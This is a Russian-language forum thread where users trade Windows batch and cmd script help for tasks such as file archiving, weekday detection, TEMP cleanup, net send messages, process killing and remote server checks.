Подскажите пожалуйста как решить проблему. Есть сервер, в определенной папке каждый день создается архивный файл с именем c22.03.08.rar, т.е. каждый день создается новый файл с именем даты создания, а вопрос вот в чем, реально ли создать bat файл примерно с такими параметрами..... 1. Проверка общего обьема файлов. 2. Если все файлы в общем набрали определенный обьем, к примеры 4 Gb, то осуществляется копирование файлов на сетевой комп в папку "Файл". 3. Проверка полноценности копий, т.е. сверка оригиналов с копиями, ели файлы скопировались нормально, то осуществляется удаление оригиналов с сервера. 4. Вывод сообщения на экран компа на который производилась копирование с каким небудь текстом, к примеру "Переброска файлов осуществлена". Делается это для того чтоб постоянно не лазить на сервак для проверки и переброски файлов, кароче для облегчения рабочего процесса. Заранее очень благодарен. |
Цитата:
|
Как получить день недели в *.bat *.cmd
Задача: получить день недели, каждый день недели сопоставлен с определенным сообщением, день недели и сообщение выводится на экран. Нужна функция или команда которая "знает" день недели. |
X-Kirill,
Цитата:
Код:
ren %1 %~n1_%date~3,2%%date:~-2%%~x1 Код:
set /A month=%date:~3,2%-1 http://forum.oszone.net/post-809001-158.html |
Задача: получить день недели, каждый день недели сопоставлен с определенным сообщением, день недели и сообщение выводится на экран. Нужна функция или команда которая "знает" день недели.
Результат: В понедельник, вторник, и т.д., выскакивает сообщение с определенным текстом сопоставленном дню недели. НАДО получить день недели пн, вт, и т.д., буквами или цифрами. ПОЖАЛУЙСТО кто реально знает как это сделать подскажите. ПРИМЕР: Севодня понедельник, надо сделать тото и тото, и т.д. Сообщение должно выходить день в день. |
X-Kirill, ну не понятно. Этот текст внесён в тело батника или только имя файла?
|
НАДО получить функцию или команду которая знает текущий день недели!
День недели - это понедельник, вторник, среда, четверг, пятница, суббота, воскресенье или тоже самое только цыфрами 1, 2, 3, 4, 5, 6, 7. |
|
согласно поста
Цитата:
Пример: %systemdrive%\Documents and Settings"\%1\"Application Data\1C\1Cv81 содержит в себе файлы настройки пользователя и временные папки с именами типа "ecf2c793", необходимо удалить временные папки в текущем каталоге не трогая файлов настройки... Извините за ляп... |
Можно ли сделать на батнике такую фунцию, чтобы выполнялась команда ipconfig и результат сохранялся в текстовый файл рядом с батником???
|
Брат, я конечно не мегамозг, но тем неменее это знаю :)
ipconfig >ipconfig.log > - знак для вывода результатов выполнения батника |
Цитата:
|
Цитата:
|
Вот командный файлик - во вложении - рекомендованный Vadikan для анализа дампов памяти. Алгоритм применения файла излагается здесь - http://vadikan.spaces.live.com/blog/...BAEE!454.entry.
Не мог бы кто помочь (если это несложно). Нужно исправить этот файл так, чтобы находясь в любой папке и будучи запущенным без параметров батник обрабатывал все файлы с расширением .dmp, обнаруженные в этой же папке, и сохранял результаты в текстовый файл. |
truvo, исправлять не обязательно, достаточно сделать файл-обертку (скажем, kdfe-all.cmd):
Код:
@Echo Off |
|
Цитата:
|
Цитата:
Код:
@Echo Off |
Нужен код для файла .cmd для перемещения папки со всеми находящимися в ней файлами из одного места в другое (оба - один и тот же локальный диск). Например: переместить папку X из C:\Install на рабочий стол текущего пользователя. Помогите неучу, плиз...
ОС: Windows XP. Так: Код:
@ECHO OFF |
Код:
@ECHO OFF |
Спасибо большое!
Код:
@ECHO OFF |
Цитата:
|
yurfed, если в кавычка всё будет ОК, можно перестраховаться и писать в виде 0016~1 (это имя папки Рабочий стол по ответу на DIR /X).
|
ShaddyR, извините, был не прав... дописал, поставил в назначенные на каждое утро, так что пока работаем...
Цитата:
|
Есть пакетный файл, хочу добавить в начало скрипта команду на проверку наличия файла(ов) в конкретной директории (рядом с батником), если файлы не найдены, скрипт прекращает работу. Вот мне подсказали следующие:
Код:
If Not Exist FOLDER\*.dll ( Код:
If Not Exist PackFiles\*.* |
Код:
If Not Exist PackFiles\*.??? |
Admiral
Не то, скрипт всеровно продолжает работу, в независимости от того, есть ли файлы в папке "FOLDER" или нет. |
Я проверял по диску С, так он мне ничего не писал. А если я подправлял истинность (вместо Not Exist писал Exist) исполнялось условия If.
|
|
Вопрос помогли решить, надо было сразу там и спрашивать, а то тут все что-то ленивые, либо занятые, кого не попроси. :)
Кому интересен ответ, привожу: Код:
Dir /b /a MyFolder\ | Findstr /v "?" 1>nul || ( |
Подскажите пожалуйста - а можно в cmd сделать перенаправление вывода в переменную? Т.е. есть некая консольная программа, выводящая на экран какое-то число. Надо чтобы это число забивалось в переменную, определенную в батнике. Это можно как-то сделать? Пробовал > и >> - получился только вывод в файл.
|
Цитата:
Код:
@Echo Off Результат в переменной V. |
Petya V4sechkin, благодарю, то что доктор прописал
|
Как можно перейменовать файл чере батник ????
К примеру 1.txt в 1.bak??? |
Junos,
Код:
ren 1.txt 1.bak |
что означают переменные %0-%9 если можно то по понятнеее.
|
Dr.Dark, это параметры командной строки, которые можно передавать в соответствующий bat-файл. Причем %0 есть имя этого самого файла.
|
Про %0 я знаю а остальные? Пустые?
|
Цитата:
Создайте батник Код:
echo %1 Затем выберите пуск - выполнить. Введите путь к батнику и что-либо, например C:\0\test.bat Test |
Цитата:
|
Котяра, твой способ не катит.
|
Можно ли через батник или какуето прогу перейменовать файлы?
У меня есть 2хх файлов с такими именами как 01_aaaa.exe, 02_bbbb.exe, 03_zxs.exe Можно ли убрать цифры в начале?, что б было aaaa.exe, bbbb.exe, zxs.exe ? |
Что написать в bat-файле вместо
Цитата:
Цитата:
|
вопрос:
можно ли способамии C++\c# запустить окошко сообщения на комп, на этот же. |
Junos
Цитата:
Код:
REN /? Цитата:
Код:
@Echo Off Цитата:
Код:
@Echo Off при чем тут CMD/BAT ?.. читайте название темы |
amel27, я не понял ваш совет. Есть исходный батник, который мне нужно переделать для своих нужд. Он выглядит так:
Код:
@echo off Сам каталог XYZ может располагаться где угодно - на флэшке, например, буква которой на разных компах может меняться. Я хочу, чтобы батник отрабатывался в любом случае. И что на что мне поменять в тексте? |
Люди в папке \root лежит батник и есть подпапка \Directori в которой лежит файл File.txt. как скопировать его с помощью xcopy из \root\Directori в \root\.
Пишу xcopy \Directori\File.txt на что cmd отвечает ФАЙЛ НЕНАЙДЕН. Помогите плиз. Задал вопрос неподумавши вот ответ вместо xcopy \Directori\File.txt надо xcopy .\Directori\File.txt |
truvo
чего непонятного? подстановка "%~dp0" возвращает путь к каталогу с батником (плюс слэш), соответственно подстановка "%~dp0Profile" заменяется на полный путь к ".\Profile" (уже без оконечного слэша) |
amel27, ну а применительно к моему батнику в посте 209 (см.) как это выглядит? Я просто дуб в этих процентах, иначе бы не спрашивал...
|
Как послать сообщение на свойже комп не зная какой ип. и ипа вообще может не быть.
|
Цитата:
Для этого нужно две вещи: 1) знать имя своего компьютера 2) иметь запущеным сервис "служба сообщений" Код:
net sen _имя_компьютера_ "твое сообщение" |
я не знаю имя компа
|
Цитата:
|
Код:
net send %computername% "твое сообщение" |
пишу не появляется.
наверное отключено. не могу найти где включить. желательно через bat |
DENoszone,
Цитата:
|
ну так а как его запустить через bat
|
Используя телепатию предложу, что пишется некий скрипт, который что-то делает и потом выводит пользователю сообщение.. так вот, net send для этого явно не хороший вариант
(хотя как в windows другими методами вывести инф. окно, к сожалению не знаю..) Код:
net start Messenger ShaddyR, ;) |
truvo
Цитата:
- папки Profile в каталоге-источнике нет, зато она есть в каталоге-приемнике; - каталога XYZ в батнике в упор не вижу, где батник лежит? в "d:\backup\opera"? Цитата:
Код:
msg %username% "твое сообщение" |
amel27, спасибо, я давно пытался вспомнить, как пишется эта долбаная команда :)
Всем: Цитата:
Цитата:
|
|
|
|
Большая просьба ко всем. Я выкладывал текст бат-файла, давно уже, вот здесь: http://forum.oszone.net/post-784912-117.html Никто на ту мою просьбу так и не отреагировал, и хочу ее повторить. Ну, может, погода изменилась, настроение, новые люди на форум пришли - может, кто и выручит теперь. Надо бы отрецензировать тот батник, может, поправить как-нибудь. Поскольку, например, файлы из папки Temporary Internet Files он у меня не удаляет, хотя и должен.
|
Народ, подскажите пожалуйста:
Нужeн батник, который бы удалял из папки в которой лежит те папки, которые не входят в список(лежащий рядом list.txt ) Код который я написал: Код:
SETLOCAL ENABLEEXTENSIONS Может кто предложит как проще реализовать? |
Цитата:
|
Цитата:
Код:
@Echo Off |
Подскажите пожалуйста код cmd/bat файла для очистки темпа "вот мой скромный вариант". поправьте ели что не так (может конечно это и вовсе неправильно, вообще нужен совет или правильный вариант):
Код:
@echo off |
ИМХО достаточно двух команд (ATTRIB необязателен для RD):
Код:
Set TempDir=%SystemRoot%\Temp |
amel27,
Цитата:
|
гм, дефолтовые права на TEMP оказались довольно хитрыми и точно восстановить с помощью штатных утилит не получается, разве только SUBINACL использовать, но ее нужно дополнительно копировать... Можно сделать следующий финт: создать в TEMP пустую подпапку (при этом она наследует права TEMP) и потом поставить ее на место хозяина:
Код:
Set TempDir=%SystemRoot%\Temp |
amel27, га круто чем мой вариант плох ??? и зачем это делать ? на нем и так куча прав например для того чтобы там появился вирус или еще чтото ...
|
amel27, а может просто папке темп поменять так права чтобы она ни при каких обстоятельствах не удалялась ... а удалялось лишь то что в ней ...
Цитата:
Код:
DEL "%systemroot%\Temp\*.*" /S /Q Код:
If Not Exist "%systemroot%\Temp" MD "%systemroot%\Temp" |
Цитата:
Код:
PUSHD %SystemRoot%\Temp Цитата:
Код:
PUSHD %SystemRoot%\Temp Цитата:
|
amel27, хорошо если это так сложно на bat/cmd, возможно это будет проще реализовать на другом скрип языке и возможно даже в виде утилиты ... а может даже добавить туда очистку "%SystemRoot%\Prefetch\" как это реализовано в программе TweakNow, что скажете по этому поводу ...
|
Почему для очистки папки TEMP все упорно указывают на %SystemRoot% и никто не подумал что переменные среды могут быть изменены самим пользователем?
Например папка TEMP может находится и в корне системного диска %SYSTEMDRIVE% (ди и вообще -где угодно). Для начала неплохо бы выяснить переменную среду для временной папки, а уж потом удалять. Забыли про переменную %USERPROFILE%\Local Settings\Temp которая так же, может быть изменена. Может лучше как-то так %TEMP% или так %TMP%? TEMP (системная) и ТМР (локальная) - Возвращает временные папки, по умолчанию используемые приложениями, которые доступны пользователям, выполнившим вход в систему. Некоторые приложения требуют переменную TEMP, другие — переменную TMP. Потенциально TEMP и TMP могут указывать на разные каталоги, но обычно - совпадают. |
yurfed, для начала я знаю что я делаю так как назначаю темп только в одно место ... тоесть %systemroot%\Temp и это делаю не для когото а для себя ... хотите предложить универсальный вариант, прошу, а то разводить догадки мы все можем а вот сделать дело немногие, но в целом использовать переменную среду %TEMP% и %TMP% более правильно но вот только тогда нужно писать файл и для удаления %TEMP% и %TMP%, а если они в одном месте и заведомо %systemroot%\Temp так наверное проще ... хотя тут спорный вариант ... я думаю что лишь из немногих рядовых пользователей знают что такое переменная среда ... и менять ее не станут ...
|
Цитата:
Сам я не специалист по написанию батников, но было предложено выйти при написании из разряда "Для себя любимого" в разряд -"Для всех". Вычищает TEMP локального пользователя Код:
PUSHD %temp% |
yurfed,
Цитата:
|
amel27, ну так как это все прокомментируете как эксперт ?
|
Цитата:
|
Цитата:
|
Цитата:
|
zeroua
Цитата:
truvo надюсь вы открыли человеку глаза и он узнал наконец о существовании новых ресурсов и поисковиков :) |
Привет! Вопрос на засыпку - можно ли при помощи bat файла убить процесс ( который отображается в диспетчере задач). Проблема в следующем: перед тем, как выдти в инет запускаю с помощью батника ferewell (Sygate) и прогу для подсчета трафика (Tmetr). После того как выхожу из интернета выключаю эти программы тоже батником ( останавливаю службы командой net stop "имя службы"). Все получается, только не соображу как выключить Tmetr монитор службы. Думаю в bat файле прописать выключение процесса, а то служба выключается, а монитор службы висит в трее (пишет нет связи со службой). И процесс такой есть. Или можно как то по другому? Подскажите, кто знает! Заранее спасибо за ответы!
|
Цитата:
|
Спасибо!! Все получилось!
|
Можно ли через планировщик в Vista создать задание на установку обновлений Windows из папки, где сохранены обновления? Прописать ключи установки, чтоб после очередного установленного обновления система не перезагружалась, а устанавливалось следующее обновление. Кто пробовал, есть возможность?
|
Krend_l
по ключам к обновлениям это сюда: Автоматическая установка Windows Vista, останется только запихать все обновления с нужными ключами в батник, проверить в ручном режиме и только потом шедулить запуск под учеткой с правами администратора |
ссылка на слишком большой разброс, запутался.
Если не составит особого труда, не укажешь ли конкретную ветку с запихиванием обновлений и ключей в батник если есть такая для Vista? Мне не нужно обновление во время установки Windows, про это у вас уже и так все давно было разжевано и, кстати, удачно испробовано! Спасибо за тот материал. |
Цитата:
|
Здравствуйте. Помогите создать бат-файл, который удалял бы определенный файл и сам тоже (самоудалялся).
Допустим я создал .doc документа на диске D:\ с названием Document. То, какими командами можно создать батник (или cmd-шник) чтобы он по истечении (или в указанный срок) удалил тот файл + сам тоже. |
7human7, bat-файл не нужен
есть команда at которая позволяет отсрочить запуск команд и приложений т.е. что-то вроде Код:
at 6:00 /next:1 del d:\Document.doc Поскольку сам "наблюдаемый" файл всё равно необходимо задать вручную - можно задание создавать через графический интерфейс. В Vista планировщик куда более продвинутый - можно указывать примерное время, может даже само перезапускать задание, если во время выполнения произойдут ошибки. Так же можно поставить галку, чтобы после вполнения задание удалялось. |
Цитата:
|
7human7, что вы к этим батникам привязались - зашедулить можно сразу команду удаления необходимого файла!
|
7human7, команда самоудаления:
Код:
DEL /F/Q "%0" |
Всем привет.
Мне нужна помощь в написании .bat файла... Я извеняюсь если это здесь уже было... просто я даже не представляю как забить это в поиск % ) Так вот: Кто хорошо знает... напишите если не сложно как будет выгледеть это: Что бы скопировать все файлы Game.sav(допустим их 5 штук.. с одним и тем же названием) с диска C:\ и записать их в файл SaveList.txt в директорию откуда был запущен .bat файл. Что бы при вскрытии SaveList.txt я мог прочитать все что находилось в этих 5-ти .sav файлах? Если же это сложно... То как можно скопировать все Game.sav(допустим их 5 штук.. с одним и тем же названием) с диска C:\ в файлы Save(1).txt (1 файл) Save(2).txt (2-ой файл) и так до 5-го в директорию откуда был запущен .bat файл? вот... И еще при выполнении команды @echo off xcopy "C:\game.sav" "prog.exe" /y Он пишет в cmd: Что означает SPS.exe: имя файла или каталога (F = файл, D = каталог)? Как можно ему так плоско намекнуть что это файл??? Что нужно прописать? Что бы он не выводил этого сообщения. Очень надеюсь на вашу помощь ^^" Заранее спасибо. |
Цитата:
Объединение файлов командой Copy: Код:
copy /b file1.sav + file2.sav + file3.sav SaveList.txt Цитата:
Код:
echo F | xcopy "C:\game.sav" "prog.exe" /y Код:
copy /y "C:\game.sav" "prog.exe" |
Цитата:
Цитата:
C:\Program Files\game.sav C:\Gamegame\game.sav C:\Windows\game.sav C:\1\game.sav вот так =) Как мне взять все файлы game.sav с диска C:\ и соединить их в SaveList.txt........ bat файлом? |
Цитата:
Код:
copy /b С:\213\game.sav + "C:\Program Files\game.sav" + C:\Gamegame\game.sav + C:\Windows\game.sav + C:\1\game.sav SaveList.txt |
Спасибо...
А что значет /b и можно ли соединить их незная где точно они находятся? Допустим я хочу получить все Game.sav с диска C:\ |
Цитата:
Код:
@Echo Off |
omg...
Спасибо огромное за уделенное время =) Если бы вы еще обьеснили зачем каждая строка %) если будет свободное время и желаение конечно ;) А так еще раз спасиб ... |
Народ помогите плз с написанием вот такого батника: нужно что бы он через определённый промежуток времени просматривал определённую папку и при наличии там файлов котроые созданны более 15-25 минут назад выдавал сообщение на компьютер находящийся в локальной сети командой net send . И мини вопрос что бы батник срабатывал через определённый промежуток времени его нужно запускать шедулером?
P.S. В первом посте задача была поставлена но я ненашёл батник :( |
Цитата:
А также в командной строке: Код:
SetLocal /? |
Мм.. Буду изучать...
Кстате.. вот еще задачка =) Буду рад если поможешь Это даже не задачка я дополнение к предидущей... Цитата:
И перезаписывает то что было раньше Точнее на диске C:\ распологаются 3 файла Game.sav в первом 123 во втором 321 в третьем 111 Запускаю... Вуаля GameList.txt с 123321111 Все бы хорошо... но нада так что бы он дополнял файл GameList.txt т.e. если я удалю файл Game.sav (Что на диске С:\ с содержимым 123) и добавлю Game.sav (Что на диске C:\ c содержимым GAME) и запущю батник то он обновит GameList.txt и в нем будет не 321111GAME (как сейчас... т.к. он заного создаст файл ListGame.txt) а 123321111GAME (Просто дополнит) Извеняюсь если не понятно.... т.к. я долго писал-формулировал... всеравно получилась какаято каша %) Очень жду помощи |
Kira.play, в такой формулировке не знаю :)
|
Ну смотри...
Он записывает файлы в файл Тем самым создает файл.... Если файл уже был создан.. о него перезаписывает... А нада что бы он дописывал информацию... вот хороший пример: C:\Game.sav (в нутри текст : 123) запускаем bat -> он создает GameList.txt (в нутри текст: 123) далее открываем C:\Game.sav (и редактируем в нутри текст: c 123 на 321) запускаем bat -> он создает GameList.txt (в нутри тест 321) так сейчас... а он должен создавать GameList.txt (после следующих операций) с текстом внутри : 123 321 Надеюсь на помощь :) |
Цитата:
![]() Цитата:
|
Как сделать так что бы при копирование если такой файл уже существует то приписать к нему циферку 1...
если и с циферкой 1 существует то циферку 2 =) Ну что бы не заменялись если одинаковые есть при копировании... Жду помощи =) Зарание спасибо |
7human7, как можно помочь написать bat-файл, если вы даже не представляете себе из чего он потенциально состоит?!
|
Kira.play
Цитата:
Код:
For /F "Delims=" %%I In ('Dir C:\Game.sav /A-D-H-S /B /S 2^>nul') Do Type "%%I" >>SaveList.txt Цитата:
тогда придется вводить какой-нить спецсимвол чтобы определить переименован файл или нет... Проще каждый раз дописывать один и тот же символ, правда имя может стать о-очень длинным. :) 7human7 Цитата:
|
Цитата:
Код:
@Echo Off |
Cпасибо огромное...
Но вот если не сложно... Можете обьеснить как соединить это @Echo Off SetLocal EnableExtensions EnableDelayedExpansion Set V= For /F "UseBackQ Delims=" %%I In (`Dir C:\Game.sav /A-D-H-S /B /S 2^>nul`) Do ( If "!V!"=="" ( Set V="%%~I" ) Else ( Set V=!V! + "%%~I" ) ) If Not "!V!"=="" Copy /B !V! SaveList.txt и вот это: For /F "Delims=" %%I In ('Dir C:\Game.sav /A-D-H-S /B /S 2^>nul') Do Type "%%I" >>SaveList.txt а про циферки... Я иммел ввиду что если такой файл существует то как можно сделать так что бы он его не перезаписывал? Что бы он какнибудь... редактировал его название??? Но что бы и имя файла длинным не делал % ) Вот я и предложил ставить в конце 1 (если есть 1 то 2... если есть 2 то3... если есть 3 то 4 если есть 4 то 5 и т.п.) заранее спасибо :) |
Здравствуйте. Помогите пожалуйста написать в бате следующее: мне нужно, чтобы бат заменял "определённую" строку текстового файла на строку из другого файла. Заранее благодарен.
|
Kira.play
Цитата:
Цитата:
Код:
@Echo Off Цитата:
|
Определённую - например мне нужно в файле 111.txt (111.cfg) заменить строку 268 на стройку 1 из файла 222.txt. Если такое невозможно, порекомендуйте какой нибудь консольный редактор текста на который можно написать скрипт.
|
Народ, есть вот такой скрипт проверяющий наличие определённого файла в папке. Как сделать так что бы оно проверяло наличие не определённого файла , а любого находящегося в папке? пробовал задавать маску типа 12*.* но что то несрабатывал скрипт. Подскажите пжста как быть
P.S. Сорри, попмему не в тот раздел :( Ну всёравно если кто сможет помогите '****************************************************************** ' Имя: ExistsFile.vbs ' Язык: VBScript ' Описание: Проверка существования файла '******************************************************************* Dim FSO,FileName 'Объявляем переменные 'Создаем объект FileSystemObject Set FSO = WScript.CreateObject("Scripting.FileSystemObject") FileName = "c:\boot.ini" if FSO.FileExists(FileName) Then 'Выводим информацию на экран WScript.Echo "Появился нулевой файл " & FileName & " " else 'Выводим информацию на экран 'WScript.Echo "Файл " & FileName & " не существует" end if '************* Конец ********************************************* |
SerDIDG,
Цитата:
рекомендации стандартные: SED, AWK, про них можно почитать например ТУТ ADD: в ресурс-ките NT4 была еще утилита MUNGE, но она просто заменяет (по списку) один текст на другой |
консольный вопрос
Люди, не знаю, в какую из имеющихся тем засунуть этот вопрос: модеры, помогите, плз!
Вопрос такой: как в виндоуз задать переменную окружения _из потока_, т.е. как результату отработки какой-нибудь команды исхитриться присвоить имя и это будет имя переменной окружения??? Нужно буквально следующее. Есть _файл_ (в смысле "не каталог", хотя вообще без разницы) вида drive:\dir1\dir2\xxxxxxUSR.txt Результат отработки Код:
dir /b drive:\dir1\dir2\*USR* Так вот, хочу присвоить какой-либо переменной окружения значение имени этого файла, определённого командой dir. В более широком смысле, конечно же, хочется вообще присваивать любой переменной окружения значения, полученные из потока. Даже в микрософтовском техцентре на это не удалось найти ответ, команда set упорно не желает работать с потоками, мне не удалось заставить её кушать данные из потока, даже когда она ждёт ввод данных с консоли (с ключом /p). Please, help. |
Gennie, примерно так:
Код:
@Echo Off |
Спасибо, мысль понял, попробую завтра на работе применить. Только в двух вещах не разобрался в вашем ходе мысли:
зачем stderr на нуль перенаправлять, и зачем заменять стандартные разделители на ничего, ведь в результате выполнения команды dir получится в чистом виде имя файла, вроде без пробелов, и вроде на stderr ничего подаваться не должно в принципе. Про stderr, если вы этим имеете в виду, что файл может быть не найден и возникнет ошибка, то я его перед выполнением предполагаемого назначения переменной проверяю на существование конструкцией if not exist drive:\dir1\dir2\*USR* ..... (ну и какие-то действия стоят) -- оно работает. Поможете понять ваше предложение до конца? ЗЫ: Вот здесь официальное описание команды нашёл, типа из первых рук. Редкостное убожество, к сожалению, как с точки зрения русского языка, так и технической грамотности текста, и иллюстрации примерами... |
Цитата:
Цитата:
|
Большое спасибо, оно заработало!!! 8-)
|
Добрый день! Написал скрипт, проверяющий размер БД на ПК (там где размер >= 200 Мб). БД лежит на C:\Exec\db\exec.gdb. Нужно проверить диапазон ip 10.1.*.161 - 10.1.*.202, где * диапазон от 10 до 255. Всё замечательно, но строчка
Код:
FOR %%I IN (%MASK%) DO IF EXIST %%I SET SIZE=%%~zI Код:
set /a podset =10 |
Цитата:
Подробнее можете почитать, выполнив: Код:
set /? Код:
SetLocal EnableExtensions EnableDelayedExpansion |
Petya V4sechkin, спасибо! Завтра попробую на работе.
UPD: заработало! спасибо ещё раз! |
Подскажите как сделать так чтоб при первой загрузке выскакивало окошко (Введите имя компьютера), и при нажатии кнопки ОК комп перезагружался!!!
|
vaska_sv,
Код:
msg %username% "Введите имя компьютера" |
Диск автом. установки Windows создавался для фирмы у которой много филий по стране, по этим филиям мы раздадим диск, но так как у юзеров нет админ прав(сис админы есть только в центральном офисе), надо это окошко.
|
ShaddyR
не мог бы ты мне немного по подробнее расписать этот скрипт, оч надо |
Цитата:
Перечитай для начала данную тему - я думаю, здесь найдется ответ на твой или похожий вопрос. Если же нет- поможем. Цитата:
|
ShaddyR,
Я хочу сделать это после того как система стала полностью, краткое описание не поможет потому что у них нет админ прав, юзеры работают под групой опытные пользователи. Ответ на вопрос (Как прописать скрипт, который запускал бы все файлы с reg форматом с папки? ) я так и не нашел!!! |
Как прописать скрипт, чтоб он запускал все файлы с расширением .reg из этой папки
|
Приветик всем! Я почитал но не нашел ответ на такой вопрос: нужно присвоить переменную, а взять ее нужно из текстового файла например для переменной Т нужно присвоить значение "Вася Пупкин" из файла C:\text.txt
Пол дня ответ ищу :( |
mutnik, приведите пример текстового файла, в котором содержится значение переменной.
|
Цитата:
Код:
For /F "Delims=" %%I In (C:\text.txt) Do Set T=%%I Цитата:
Код:
For %%I In (*.reg) Do Start /Wait Regedit /S "%%~I" |
Vadikan
в текстовом файле много всего написано а мне нужно записать в переменную все что написано после слова "Пупкин" извените что не так :) Petya V4sechkin огроменное спасибо |
Какая команда выполняет то же действие, что и клик мыши?
Я пытался запустить ярлык internet на диске C:\ - но ничего не происходит. (видимо другой командой нужно) cmd-шник: Код:
@echo off |
7human7, вы не Internet.lnk запускайте, а то, что в нем прописано.
|
Вот задача: есть каталог с кучей подкаталогов, в которых, на разном уровне вложенности папок есть файлы с именем, например, ААА и файлы с именем ВВВ. В ряде случаев эти файлы находятся в незаархивированном виде, в ряде случаев, напротив - в архивах (это незапароленные архивы форматов rar, zip и 7z). Возможно ли с помощью bat-файла одним махом найти все эти файлы ААА и BBB, где бы они не находились, и переименовать ААА в XXX, а BBB - в YYY - и в архивах, и вне архивов?
Если это задача запредельная для bat-аники, может, кто посоветует (можно в ПМ), как ее решить с наименьшими усилиями? |
Цитата:
Ну, а путь просмотрел через командную строку: ![]() А в свойствах следующее: ![]() ![]() |
Имеется игровой сервер, который включаю каждое утро в 9.00 и работает до 24.00
Прошу помочь написать бат файл для такой работы. Описание: Код:
Компьютер включется и проходит 5 минут после запуска Windows, потом включается сервер (4 файла, каждый через период времени.) - Спустя 5 минут наваял скриптик, только время паузы невпонятках как ставить. (тестить не могу .к. сервер работает в полном ходу). посмотрите пожалста, правильно хоть начало? Код:
@echo off |
kagorec, Пауза в пакетном файле
|
Цитата:
- Цитата:
п.с. бат файл в итоге хочу конвертировать в файл .exe |
Цитата:
Пауза в пакетном файле |
Цитата:
|
Цитата:
Да и к тому же, что мне писать в поле логин и пароль (rasdial)? У меня как по локальной сети запускается! Ethernet-модем. Неужели нет простой команды, которая отвечает за простой левый клик мыши? 2 Допустим я найду эту команду, то как сделать так, чтобы по истечении 5 минут после запуска windows она запускалась? (в шедулере - такое нельзя, максимум - можно при "простое 5 минут" - но это не то) Смею предположить, что тип так: Код:
cscript //nologo sleep.js 300 p.s Все-таки какой самый простой способ ставить паузу (без скачивания всяких программ)? sleep, call :sleep, cscript //nologo sleep.js 300 - не работают! Проверял на самом просто способе, вот например такой скрипт: Код:
shutdown.exe -s -f |
Цитата:
> Цитата:
|
Цитата:
с чего Вы взяли, что я не читал сообщения выше?? Как я уже сказал, все эти команды-паузы требуют загрузку программы. Неужели нет простой команды ожидания?? Цитата:
|
Цитата:
Цитата:
> Цитата:
Цитата:
"C:\Documents and Settings\All Users\Главное меню\Программы\Стандартные\Калькулятор.lnk" можно запустить и из меню\выполнить и из бат-файла, то некоторые специфические ярлыки выполняться так не будут (тот же ярлык интернет-соединения, к примеру). Дополнительно можно прочитать у Оверклокеров либо попробовать поискать в Яндексе. |
Цитата:
Цитата:
![]() ![]() |
Цитата:
И почему соединение необходимо запускать именно через ярлык, а не прямо указать на него? Цитата:
Цитата:
|
Цитата:
Цитата:
Цитата:
вообщем код подключения будет выглядеть просто Код:
rasdial Internet user 123 |
7human7, у тебя подключение какое? Только не так "У меня как по локальной сети запускается! Ethernet-модем."
Если подключение по локалке с общим интернетом, то и соответственно, при включении ты уже и в локалке и интернете. Если доступ на интернет у каждого по своему логину и пассу, то и делай так, как написано. Цитата:
Цитата:
|
Цитата:
Цитата:
Вообщем это про обычное adsl-соединение. А через ethernet эта команда не катит, пытался отсоединиться - пишет что все соединения отсоединены, а локалка все равно работат и интернет - соответственно. ![]() Вообщем просто нужно, чтобы запускалась локалка через какую-нибудь команду и все.. |
Приветствую всех!
Подскажите, пожалуйста, можно ли через батник определить, находится пользователь в безопасном режиме или нет? И ещё - нашёл VBS-скрипт, который по идее должен создавать точку восстановления системы, но почему-то не создаёт :unsure: Код:
Set IRP = getobject("winmgmts:\.\root\default:Systemrestore") ЗЫ Когда запускаю кликами на файле, вызывает ошибку: ![]() Через командную строку - то же самое практически (cscript restore.vbs(1, 1) (null): 0x80041021). Где копать, что не так? (я сам в vbs нуб полный=)) |
Цитата:
Код:
If "%SAFEBOOT_OPTION%"=="" @Echo Компьютер в обычном режиме |
Проверка запущен ли процесс, если нет - запустить [cmd, bat]
Нужно через батник запустить приложение если оно не запущено. Как ето можно сделать?
нашел такую идею Цитата:
|
Цитата:
Код:
SET SEARCH=notepad.exe |
Всем прива !
Задачка вот такая: 1. проверить папку на удаленном компьютере на наличие файлов создать очет есть или нет (если возможно то как давно). 2. подцепиться к этой же машине, через РДП . 3. запустить определёную программу (софт) . 4. сделать скрин шот . 5. закрыть и сохранить отчет с картинкой в папке (фолдер). 6. (ну это вообше тяжко) послать папку на мыло или браузер. вот та часть что мне пока удалось сделать ! Код:
@echo off |
Видать всеравно какой то запрос на запуск идет. С некоторыми программами при запуске выскакивает табличка что она запущена.
Как еще можно? |
Цитата:
|
если указать путь if %ERRORLEVEL%==1 start "N:\SOFT\Lan\ipscan.exe" то если процес не находит - запускается командная строка а не нужная программа/ если же указывать просто те приложения что уже лежат в system32 то срабатывает
|
Freezet
Цитата:
Код:
SET $PATH=%windir%\System32\notepad.exe Цитата:
|
AGRESS0R
1. Какая ОСь на удаленном компьютере... XP или сервер? 2. Нужно логически отделить подключение/отключение от других прикладных задач (запуск, лог, мыло, etc). Если на удаленной машине ВСЕГДА открыта консоль и она не блокируется, то можно вообще не использовать RDP, а запускать удаленно прямо из открытой консоли (через PSExec). 3. Каждая из перечисленных задач может запускаться как с локального, так и с удаленного компьютера - тут нужно определиться. ИМХО проще и надежней написать и отладить скрипт, который все перечисленное (кроме запуска консоли) выполняет локально, потом запустить (если нужно) удаленную консоль, удаленно запустить в ней выполнение скрипта, закрыть консоль. При необходимости часть операций можно выполнить локально... например, отправку почты (если удаленный компьютер не имеет выхода на почтовик). З.Ы. Сам скрипт советую писать на AutoIT, так как у него есть весь инстументарий для работы с окнами, скриншотами и почтой... на CMD ИМХО будет намного сложнее. |
1. Какая ОСь на удаленном компьютере... XP или сервер?
Ось SERVER 2003 2. Нужно логически отделить подключение/отключение от других прикладных задач (запуск, лог, мыло, etc). Если на удаленной машине ВСЕГДА открыта консоль и она не блокируется, то можно вообще не использовать RDP, а запускать удаленно прямо из открытой консоли (через PSExec). Ок консоль можно сделать постоянной, она не блокируется ! 3. Каждая из перечисленных задач может запускаться как с локального, так и с удаленного компьютера - тут нужно определиться. ИМХО проще и надежней написать и отладить скрипт, который все перечисленное (кроме запуска консоли) выполняет локально, потом запустить (если нужно) удаленную консоль, удаленно запустить в ней выполнение скрипта, закрыть консоль. При необходимости часть операций можно выполнить локально... например, отправку почты (если удаленный компьютер не имеет выхода на почтовик). З.Ы. Сам скрипт советую писать на AutoIT, так как у него есть весь инстументарий для работы с окнами, скриншотами и почтой... на CMD ИМХО будет намного сложнее. Ок понятно ! Дело в том что имеется некоторая программа котрую нуна проверять каждый час, заходя на удаленный комп и проверяя папку и программу на наличее ошибок ! Так вот если мне удастя вывести их в IMG то её мона будет закрепить на HTML, и 